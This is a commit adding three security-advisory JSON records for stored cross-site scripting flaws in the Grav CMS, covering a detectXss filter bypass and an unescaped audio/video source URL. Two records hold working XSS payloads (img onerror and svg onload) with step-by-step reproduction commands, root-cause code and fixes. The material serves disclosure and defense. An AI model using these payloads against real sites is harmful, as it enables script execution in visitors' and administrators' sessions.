Skip to content

Commit a5c87eb

Browse files
1 parent 7aaaa94 commit a5c87eb

5 files changed

Lines changed: 286 additions & 48 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q8cg-5m48-5c25",
4+
"modified": "2026-09-17T17:31:29Z",
5+
"published": "2026-08-18T12:31:22Z",
6+
"withdrawn": "2026-09-17T17:31:29Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: Grav: Stored XSS via Markdown audio/video media <source> URL",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6qw9-4vv5-jr97. This link is maintained to preserve external references.\n\n### Original Description\nGrav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [
21+
{
22+
"package": {
23+
"ecosystem": "Packagist",
24+
"name": "getgrav/grav"
25+
},
26+
"ranges": [
27+
{
28+
"type": "ECOSYSTEM",
29+
"events": [
30+
{
31+
"introduced": "0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "< 2.0.15"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75831"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-79"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-09-17T17:31:29Z",
66+
"nvd_published_at": "2026-08-18T12:19:33Z"
67+
}
68+
}
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-269c-h76q-8cxw",
4+
"modified": "2026-09-17T17:28:34Z",
5+
"published": "2026-09-17T17:28:34Z",
6+
"aliases": [
7+
"CVE-2026-72832"
8+
],
9+
"summary": "Grav: Stored XSS via quoted-attribute bypass in detectXss",
10+
"details": "### Summary\n\nA page editor without `admin.super` can place an event handler after a `>` inside a quoted attribute. Grav accepts and stores the page, then executes the handler in the application origin when a visitor opens it.\n\n### Details\n\n`Security::detectXss()` (`system/src/Grav/Common/Security.php:253`) anchors the `on_events` scan at `<` and uses `[^>]*?`, which cannot cross the first literal `>`. When that character is inside a quoted value, the browser keeps the tag open and parses the later `onerror` attribute, so the detector and browser disagree. `AdminController::savePage()` relies on this detector when saving content from page editors outside the `admin.super` whitelist.\n\n### PoC\n\nI reproduced this with `getgrav/grav` 2.0.11 (`ad9709f865b09b68798fb1ac375b484a8cc1d892`), Admin 1.10.52, and Quark 2 1.1.4.\n\n1. Sign in as a user with `admin.login` and `admin.pages`, but without `admin.super`.\n2. Create or edit `/xsstest` and save this page body:\n\n```html\n<img src=x title=\">\" onerror=alert(document.domain)>\n```\n\n3. Open `/xsstest` in a private browser window.\n\nThe save succeeds and the visitor sees an alert containing the site domain. With the body changed to `<img src=x onerror=alert(1)>`, the same endpoint rejects it with `XSS issue detected` and does not store it.\n\n### Impact\n\nA page editor can execute JavaScript in the origin of every user who views the stored page, including unauthenticated visitors.\n\n### Anticipated objection and response\n\nAlthough the `detectXss()` docblock describes it as a heuristic that cannot catch every XSS, this check is the storage-time boundary for page editors outside the default `security.xss_whitelist` of `admin.super`. The same endpoint rejects a plain handler but accepts this executable form, allowing a lower-trust editor to cross the boundary the check is intended to enforce.\n\n### Suggested fix\n\nPrefer an HTML tokenizer or sanitizer that rejects event-handler attributes on parsed elements. If the existing tripwire remains, make its tag scan quote-aware instead of treating every `>` as a boundary. Add double-quoted and single-quoted regression cases plus the rejected plain-handler control.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "getgrav/grav"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.5.2"
29+
},
30+
{
31+
"fixed": "2.0.13"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.0.12"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-269c-h76q-8cxw"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72832"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/getgrav/grav/commit/ad9709f865b09b68798fb1ac375b484a8cc1d892"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/getgrav/grav"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://www.vulncheck.com/advisories/grav-before-stored-xss-via-quoted-attribute-bypass"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-79"
66+
],
67+
"severity": "MODERATE",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-09-17T17:28:34Z",
70+
"nvd_published_at": null
71+
}
72+
}
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6qw9-4vv5-jr97",
4+
"modified": "2026-09-17T17:32:10Z",
5+
"published": "2026-09-17T17:31:41Z",
6+
"aliases": [
7+
"CVE-2026-75831"
8+
],
9+
"summary": "Grav: Stored XSS via Markdown audio/video media <source> URL",
10+
"details": "**Target:** github.com/getgrav/grav \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` — verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f` \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L) \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `<source>` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#\"><svg/onload=alert(1)>)` breaks out of `<source src=\"…\">` and injects arbitrary HTML — including a script-executing `<svg onload>` — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `<source>` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n $location = $this->url($reset);\n return [\n 'name' => 'audio',\n 'rawHtml' => '<source src=\"' . $location . '\">Your browser does not support the audio tag.',\n 'attributes' => $attributes\n ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** — [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown's escaping — [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) — and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `<`, `>`, `=`, `(`, `)` in the fragment survive into the raw `<source>`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter — [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) — escapes `<` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `<svg>` and `<img>` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected — an image's `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP >= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss && cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3\ncat > user/pages/03.poc/default.md <<'MD'\n---\ntitle: XSS PoC\n---\n![sound](sound.mp3#\"><svg/onload=alert(1)>)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'\n```\n\nExpected output:\n\n```\n<audio controls=\"controls\" alt=\"sound\"><source src=\"/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#\"><svg/onload=alert(1)>\">Your browser does not support the audio tag.</audio>\n```\n\nThe `<source src=\"…#\">` is closed by the injected `\"` and `>`, and `<svg/onload=alert(1)>` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG's `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML='XSS_…'` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `<source src=\"…\">` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `<source>` through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2>/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `<svg onload>` runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav's body renderer already passes interaction-based `<a href=\"javascript:\">` / `<form action=\"javascript:\">` raw but escapes auto-firing `<img onerror>` / `<svg onload>` on block tags — the audio/video `<source>` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
15+
},
16+
{
17+
"type": "CVSS_V4",
18+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
19+
}
20+
],
21+
"affected": [
22+
{
23+
"package": {
24+
"ecosystem": "Packagist",
25+
"name": "getgrav/grav"
26+
},
27+
"ranges": [
28+
{
29+
"type": "ECOSYSTEM",
30+
"events": [
31+
{
32+
"introduced": "0"
33+
},
34+
{
35+
"fixed": "2.0.15"
36+
}
37+
]
38+
}
39+
],
40+
"database_specific": {
41+
"last_known_affected_version_range": "<= 2.0.14"
42+
}
43+
}
44+
],
45+
"references": [
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97"
49+
},
50+
{
51+
"type": "ADVISORY",
52+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75831"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20"
57+
},
58+
{
59+
"type": "PACKAGE",
60+
"url": "https://github.com/getgrav/grav"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url"
65+
}
66+
],
67+
"database_specific": {
68+
"cwe_ids": [
69+
"CWE-79"
70+
],
71+
"severity": "MODERATE",
72+
"github_reviewed": true,
73+
"github_reviewed_at": "2026-09-17T17:31:41Z",
74+
"nvd_published_at": null
75+
}
76+
}

0 commit comments

Comments
 (0)